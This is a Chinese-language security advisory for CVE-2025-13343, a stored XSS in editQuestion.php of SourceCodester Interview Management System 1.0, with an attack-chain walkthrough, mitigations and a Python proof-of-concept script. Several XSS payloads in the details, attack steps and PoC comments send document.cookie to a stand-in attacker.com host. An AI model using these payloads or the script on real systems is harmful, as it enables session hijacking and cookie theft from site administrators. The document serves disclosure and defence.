IPBUF安全漏洞报告
English
CVE-2025-13343 CVSS 3.5 低危

CVE-2025-13343 SourceCodester面试管理系统editQuestion.php XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13343
漏洞类型
跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Interview Management System 1.0

相关标签

CVE-2025-13343跨站脚本XSS存储型XSSSourceCodesterInterview Management SystemeditQuestion.phpWeb应用安全会话劫持

漏洞概述

CVE-2025-13343是SourceCodester Interview Management System 1.0中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于/editQuestion.php文件的Question参数处理逻辑中,攻击者可以通过该参数注入恶意的JavaScript脚本代码。由于该系统是面试管理系统,涉及用户敏感数据的处理,攻击者利用此漏洞可以窃取管理员或其他用户的会话cookie、劫持用户会话、获取用户权限,甚至进一步对系统进行更深层次的攻击。该漏洞的CVSS评分为3.5,属于低危级别,攻击复杂度低,但需要低权限用户身份和用户交互才能成功利用。漏洞已于2025年11月18日披露,且相关利用代码已公开,强烈建议受影响用户尽快采取修复措施。

技术细节

该漏洞是存储型XSS漏洞,存在于/editQuestion.php文件中的Question参数处理部分。攻击者通过编辑问题功能时,在Question参数中注入恶意的JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等。由于系统未对用户输入进行充分的输入验证和输出编码,这些恶意脚本代码会被永久存储在数据库中。当管理员或其他用户访问包含该问题内容的页面时,浏览器会解析并执行这些恶意脚本,从而触发XSS攻击。攻击者利用此漏洞可以窃取用户的会话cookie、劫持用户会话、进行钓鱼攻击或植入恶意重定向。由于该系统用于管理面试相关数据,攻击者获取管理员权限后可能访问到更多敏感信息。修复方案包括对所有用户输入进行严格的输入验证,使用HTML实体编码进行输出编码,以及实施内容安全策略(CSP)。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者首先访问目标网站,识别其使用的技术栈和版本信息。确认目标站点运行SourceCodester Interview Management System 1.0,并定位/editQuestion.php文件的存在。
STEP 2
步骤2:获取低权限访问
攻击者注册普通用户账户或利用已有低权限账户登录系统。CVSS向量显示该漏洞需要低权限认证(PR:L)才能利用。
STEP 3
步骤3:构造恶意XSS payload
攻击者构造恶意JavaScript代码,如<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>或<img src=x onerror=alert(document.cookie)>等,作为Question参数值。
STEP 4
步骤4:注入XSS payload
通过/editQuestion.php的Question参数提交恶意payload。由于系统未进行输入验证和输出编码,该脚本被存储在数据库中,形成存储型XSS。
STEP 5
步骤5:诱导受害者访问
攻击者通过社会工程学手段,如发送钓鱼邮件或诱骗管理员访问问题列表页面,触发存储型XSS执行(UI:R需要用户交互)。
STEP 6
步骤6:窃取敏感信息
当管理员访问包含恶意脚本的页面时,JavaScript代码在管理员浏览器中执行,窃取管理员的会话cookie、认证令牌或其他敏感信息。
STEP 7
步骤7:会话劫持与权限提升
攻击者利用窃取的cookie伪装成管理员身份,访问后台管理功能,执行未授权操作或获取更高权限,甚至可能实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import argparse # CVE-2025-13343 PoC - SourceCodester Interview Management System XSS # Target: /editQuestion.php # Parameter: Question def exploit_xss(target_url, username, password, payload): """ Exploit stored XSS in Question parameter of editQuestion.php Args: target_url: Base URL of the vulnerable application username: Valid username for authentication password: User password payload: XSS payload to inject """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login.php" login_data = { "username": username, "password": password } try: response = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login attempt completed. Status: {response.status_code}") # Step 2: Create initial question create_url = f"{target_url}/addQuestion.php" question_data = { "question": "Initial question for testing", "category": "Technical", "submit": "submit" } response = session.post(create_url, data=question_data, timeout=10) print(f"[*] Question created. Status: {response.status_code}") # Step 3: Exploit XSS by editing the question with malicious payload edit_url = f"{target_url}/editQuestion.php" edit_data = { "id": "1", # Adjust question ID as needed "Question": payload, # XSS payload injection point "submit": "Update" } response = session.post(edit_url, data=edit_data, timeout=10) print(f"[*] XSS payload injected. Status: {response.status_code}") print(f"[*] Payload: {payload}") print(f"[!] XSS will trigger when admin views the question list") # Common XSS payloads for testing: # <script>alert(document.domain)</script> # <img src=x onerror=alert('XSS')> # <svg/onload=fetch('http://attacker.com/?c='+document.cookie)> except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-13343 XSS Exploit') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-un', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') parser.add_argument('-x', '--payload', default='<script>alert(document.cookie)</script>', help='XSS Payload') args = parser.parse_args() exploit_xss(args.url, args.username, args.password, args.payload)

影响范围

SourceCodester Interview Management System 1.0

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1)使用Web应用防火墙(WAF)规则过滤Question参数中的<script>、<img>、<svg>等XSS相关标签;2)对/editQuestion.php页面实施严格的访问控制,限制非授权用户访问;3)禁用问题编辑功能或暂时关闭相关页面;4)监控访问日志,检测异常的XSS payload请求;5)提醒管理员不要点击来源不明的链接;6)定期备份数据库以便快速恢复;7)考虑使用运行时应用自保护(RASP)技术实时检测和阻止XSS攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表